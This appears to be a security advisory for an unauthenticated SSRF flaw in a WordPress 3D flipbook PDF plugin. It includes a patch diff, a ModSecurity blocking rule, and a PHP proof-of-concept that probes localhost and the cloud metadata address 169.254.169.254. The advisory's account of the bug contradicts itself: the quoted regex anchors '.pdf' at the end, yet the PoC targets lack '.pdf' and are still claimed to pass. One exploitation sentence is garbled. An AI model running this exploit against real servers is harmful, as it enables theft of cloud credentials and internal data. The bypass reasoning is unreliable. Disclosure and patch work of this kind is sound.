Atomic Edge analysis of CVE-2026-59552: The 3D Flipbook PDF Viewer & Embedder plugin for WordPress, version 1.4.2 and earlier, contains an unauthenticated Server-Side Request Forgery (SSRF) vulnerability. Atomic Edge research places this vulnerability in the plugin’s PDF proxy feature, which is exposed via an unauthenticated endpoint. This allows remote attackers to abuse the web server’s HTTP client to interact with internal-only services. The vulnerability is rated with a CVSS score of 7.2, indicating high severity due to the impact on internal network integrity.
Root Cause: The vulnerability originates in the pdfev_proxy function located in the pdf-embed-viewer/classes/functions.php file. The original code accepted a URL directly from the ‘pdfev_proxy’ GET parameter and passed it to wp_remote_get for fetching. The only validation performed was a regular expression check for a ‘.pdf’ extension anywhere in the URL string. This superficial check did not prevent an attacker from accessing internal resources. An attacker could bypass this by using URLs pointing to localhost, internal IP addresses, or other internal services, potentially even ones that do not serve PDFs (the response was echoed regardless). The previous lack of validation on the URL’s host or path allowed the unauthenticated SSRF.
Exploitation: An unauthenticated attacker can trigger the vulnerability by sending a crafted HTTP GET request to the WordPress installation. The request must include the ‘pdfev_proxy’ parameter, typically in the query string (e.g., /?pdfev_proxy=http://169.254.169.254/latest/meta-data/). The server-side code retrieves the URL, performs a request, and returns the response body. This allows attackers to probe internal services, read data from internal web servers, or interact with cloud metadata endpoints (like those at 169.254.169.254) to extract credentials or configuration data. The attacker can set the .pdf requirement by manipulating the URL structure, or by using an IP address for the host to bypass the hostname resolution restrictions.
Patch Analysis: The patched version (1.4.4) introduces a new static function, is_allowed_proxy_url, to validate the target URL. This new function performs several checks. First, it ensures the URL uses either the http or https scheme and has a host. Next, it parses the URL and requires the file extension (path component) to strictly end with ‘.pdf’. Crucially, it resolves the hostname to an IP address and uses filter_var with FILTER_FLAG_NO_PRIV_RANGE and FILTER_FLAG_NO_RES_RANGE to block requests to loopback, private, or reserved IP ranges. The patch also adds a check on the response’s Content-Type header, ensuring it contains ‘pdf’, before echoing the body. This comprehensive approach prevents access to internal networks and services.
Impact: Successful exploitation allows an unauthenticated attacker to make arbitrary HTTP requests from the vulnerable WordPress server. This can lead to unauthorized access to internal systems, data exfiltration from internal services, port scanning of the internal network, and potentially the retrieval of sensitive information from cloud metadata services. In some scenarios, if internal services are vulnerable to HTTP-based actions, the attacker could potentially modify data. The impact is primarily confidentiality and integrity violations against the internal network.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/pdf-embed-viewer/classes/count-manager.php
+++ b/pdf-embed-viewer/classes/count-manager.php
@@ -16,9 +16,13 @@
}
public function track_dowload_counts() {
- if (isset($_POST['post_id'])) {
- $this->set_file_download_count($_POST['post_id']);
- $download_count = $this->get_download_count($_POST['post_id']);
+ check_ajax_referer( 'pdf_ajax_nonce', 'ajaxnonce' );
+
+ $post_id = isset($_POST['post_id']) ? absint($_POST['post_id']) : 0;
+
+ if ($post_id) {
+ $this->set_file_download_count($post_id);
+ $download_count = $this->get_download_count($post_id);
wp_send_json_success(array(
'message' => 'Download count incremented successfully!',
'download_count' => $download_count
@@ -26,7 +30,6 @@
} else {
wp_send_json_error('Invalid Post ID');
}
- die;
}
public function get_download_count($post_id) {
--- a/pdf-embed-viewer/classes/cpt-register.php
+++ b/pdf-embed-viewer/classes/cpt-register.php
@@ -38,17 +38,17 @@
echo esc_url(get_post_meta($post_id,'pdfev_meta_pdf_url',true));
break;
case 'pdfev_meta_download':
- echo esc_html__(get_post_meta($post_id,'pdfev_meta_download',true),'pdf-embed-viewer');
+ echo esc_html(get_post_meta($post_id,'pdfev_meta_download',true));
break;
case 'pdfev_meta_downloads_count':
$downloads = get_post_meta($post_id,'pdfev_meta_downloads_count',true);
$downloads = $downloads?$downloads:0;
- echo esc_html__($downloads,'pdf-embed-viewer');
+ echo esc_html($downloads);
break;
case 'pdfev_meta_views_count':
$views = get_post_meta($post_id,'pdfev_meta_views_count',true);
$views = $views?$views:0;
- echo esc_html__($views,'pdf-embed-viewer');
+ echo esc_html($views);
break;
case 'shortcode_column':
echo esc_html('[pdfev_embed_viewer id="'.get_the_ID().'"]');
--- a/pdf-embed-viewer/classes/functions.php
+++ b/pdf-embed-viewer/classes/functions.php
@@ -44,29 +44,65 @@
public function pdfev_proxy() {
if (isset($_GET['pdfev_proxy'])) {
- $url = esc_url_raw($_GET['pdfev_proxy']);
+ $url = esc_url_raw(wp_unslash($_GET['pdfev_proxy']));
- if (preg_match('/.pdf$/i', $url)) {
- $response = wp_remote_get($url, ['timeout' => 60]);
-
- if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) {
-
- echo wp_remote_retrieve_body($response);
- header('Content-Type: application/pdf');
- header('Content-Disposition: inline; filename="proxy.pdf"');
- header('Accept-Ranges: bytes');
- } else {
- status_header(404);
- echo 'PDF could not be loaded.';
- }
- } else {
+ if (! self::is_allowed_proxy_url($url)) {
status_header(403);
echo 'Invalid file type.';
+ exit;
}
+
+ $response = wp_remote_get($url, ['timeout' => 60]);
+
+ if (is_wp_error($response) || wp_remote_retrieve_response_code($response) !== 200) {
+ status_header(404);
+ echo 'PDF could not be loaded.';
+ exit;
+ }
+
+ $content_type = wp_remote_retrieve_header($response, 'content-type');
+ if (stripos((string) $content_type, 'pdf') === false) {
+ status_header(415);
+ echo 'Remote file is not a PDF.';
+ exit;
+ }
+
+ header('Content-Type: application/pdf');
+ header('Content-Disposition: inline; filename="proxy.pdf"');
+ header('Accept-Ranges: bytes');
+ echo wp_remote_retrieve_body($response);
exit;
}
}
+ /**
+ * Only allow proxying http(s) URLs that end in .pdf (path, not query
+ * string) and that don't resolve to a private/reserved/loopback IP,
+ * to prevent the proxy from being used for SSRF against internal
+ * services or cloud metadata endpoints.
+ */
+ public static function is_allowed_proxy_url($url) {
+ $scheme = wp_parse_url($url, PHP_URL_SCHEME);
+ $host = wp_parse_url($url, PHP_URL_HOST);
+ $path = wp_parse_url($url, PHP_URL_PATH);
+
+ if (empty($host) || ! in_array($scheme, ['http', 'https'], true)) {
+ return false;
+ }
+
+ if (empty($path) || ! preg_match('/.pdf$/i', $path)) {
+ return false;
+ }
+
+ $ip = filter_var($host, FILTER_VALIDATE_IP) ? $host : gethostbyname($host);
+
+ if (! filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
+ return false;
+ }
+
+ return true;
+ }
+
public static function load_plugin_textdomain() {
$plugin_dir = basename( dirname( __DIR__ ) ) . "/languages/";
load_plugin_textdomain( 'pdf-embed-viewer', false, $plugin_dir );
--- a/pdf-embed-viewer/classes/metabox/general.php
+++ b/pdf-embed-viewer/classes/metabox/general.php
@@ -119,6 +119,9 @@
$image_data = base64_decode($image_data);
if ($image_data === false) return;
+ // Verify the decoded bytes are actually an image, not just a declared type.
+ if (@getimagesizefromstring($image_data) === false) return;
+
// Save to uploads folder
$upload_dir = wp_upload_dir();
$filename = 'pdfev-featured-' . time() . '.' . $type;
@@ -146,35 +149,34 @@
public function save_post($post_id){
- if( isset( $_POST['pdfev_emd_vwr_metabox_nonce'] ) ){
- if( ! wp_verify_nonce( sanitize_text_field( wp_unslash ( $_POST['pdfev_emd_vwr_metabox_nonce'] ) ) , 'pdfev_emd_vwr_metabox_nonce' ) ){
- return;
- }
+ if( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ){
+ return;
}
- if( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ){
+ if( ! isset($_POST['post_type']) || $_POST['post_type'] !== 'pdfev_embed_viewer' ){
+ return;
+ }
+
+ if( ! isset( $_POST['pdfev_emd_vwr_metabox_nonce'] )
+ || ! wp_verify_nonce( sanitize_text_field( wp_unslash ( $_POST['pdfev_emd_vwr_metabox_nonce'] ) ) , 'pdfev_emd_vwr_metabox_nonce' )
+ ){
+ return;
+ }
+
+ if( ! current_user_can('edit_page',$post_id) || ! current_user_can('edit_post',$post_id) ){
return;
}
- if( isset($_POST['post_type']) && $_POST['post_type'] === 'pdfev_embed_viewer' ){
- if( ! current_user_can('edit_page',$post_id) ){
- return;
- }
- elseif( ! current_user_can('edit_post',$post_id) ){
- return;
- }
- }
-
if ( ! empty( $_POST['pdfev_featured_image'] ) ) {
$image_data = $_POST['pdfev_featured_image'];
$this->save_featured_image( $post_id, $image_data );
}
-
- if( isset($_POST['action']) and $_POST['action']=='editpost' ){
+
+ if( isset($_POST['action']) and $_POST['action']=='editpost' ){
$file_url = isset( $_POST['pdfev_meta_pdf_url'] ) ? sanitize_url($_POST['pdfev_meta_pdf_url']) : '';
update_post_meta( $post_id, 'pdfev_meta_pdf_url', $file_url );
-
+
$check_download = isset( $_POST['pdfev_meta_download'] ) ? sanitize_text_field($_POST['pdfev_meta_download']) : 'no';
update_post_meta( $post_id, 'pdfev_meta_download', $check_download );
--- a/pdf-embed-viewer/pdf-embed-viewer.php
+++ b/pdf-embed-viewer/pdf-embed-viewer.php
@@ -1,14 +1,14 @@
<?php
/**
* Plugin Name: 3D Flipbook PDF Viewer & Embedder – E-Books, Manuals, Newsletters, Reports
- * Plugin URI: https://wordpress.org/plugins/pdf-embed-viewer
+ * Plugin URI: https://pdf-embed-viewer.free.nf/
* Description: Display PDFs as interactive 3D flipbooks or traditional viewers for E-Books, Manuals, Newsletters, and Reports.
- * Version: 1.4.2
+ * Version: 1.4.4
* Stable Tag: trunk
* Requires at least: 3.0
* Requires PHP: 7.0
* Author: Shahadat Hossain
- * Author URI: https://shahadat.com.bd
+ * Author URI: https://lieusoft.com
* License: GPL v2 or later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: pdf-embed-viewer
@@ -43,7 +43,7 @@
public function define_contstants(){
define( 'PDFEV_Const_Path', plugin_dir_path(__FILE__) );
define( 'PDFEV_Const_URL', plugin_dir_url(__FILE__) );
- define( 'PDFEV_Const_VERSION', '1.4.2' );
+ define( 'PDFEV_Const_VERSION', '1.4.4' );
}
public static function include_plugin_files() {
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-59552
# Block SSRF attempts targeting internal/private addresses from the vulnerable plugin's proxy
SecRule QUERY_STRING "@rx (?:^|&)pdfev_proxy=(?:[^&]*)://(?:[^&]*@)?(?:127.0.0.1|localhost|10.|192.168.|172.(?:1[6-9]|2[0-9]|3[0-1]).|169.254.|0.)"
"id:20261994,phase:2,deny,status:403,msg:'CVE-2026-59552 - SSRF attempt via pdfev_proxy blocked',severity:'CRITICAL',tag:'CVE-2026-59552'"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-59552 - 3D Flipbook PDF Viewer & Embedder <= 1.4.2 - Unauthenticated Server-Side Request Forgery
// Configuration
$target_url = 'http://example.com'; // Replace with the WordPress target URL
// Endpoint to exploit
$endpoint = '/?pdfev_proxy=';
// Internal service to target (e.g., cloud metadata endpoint)
// The URL needs to end with .pdf to pass initial check, but it will be used as is
$ssrf_payload = 'http://127.0.0.1:8080/'; // Example internal HTTP service
// Exploit the SSRF vulnerability
function exploit_ssrf($base, $endpoint, $payload) {
$url = $base . $endpoint . urlencode($payload);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return array('code' => $http_code, 'body' => $response);
}
// The .pdf extension check is bypassed because wp_remote_get uses the full URL.
// Some common internal targets to try:
$targets = array(
'http://127.0.0.1/',
'http://localhost/',
'http://169.254.169.254/latest/meta-data/',
);
// Perform the exploit against multiple targets
foreach ($targets as $internal_target) {
echo "[-] Testing target: " . $internal_target . "n";
$result = exploit_ssrf($target_url, $endpoint, $internal_target);
echo "[+] HTTP Status: " . $result['code'] . "n";
if ($result['code'] == 200) {
echo "[+] Response Body (first 1000 chars):n" . substr($result['body'], 0, 1000) . "nn";
} else {
echo "[-] No access to this target or error.nn";
}
}
?>
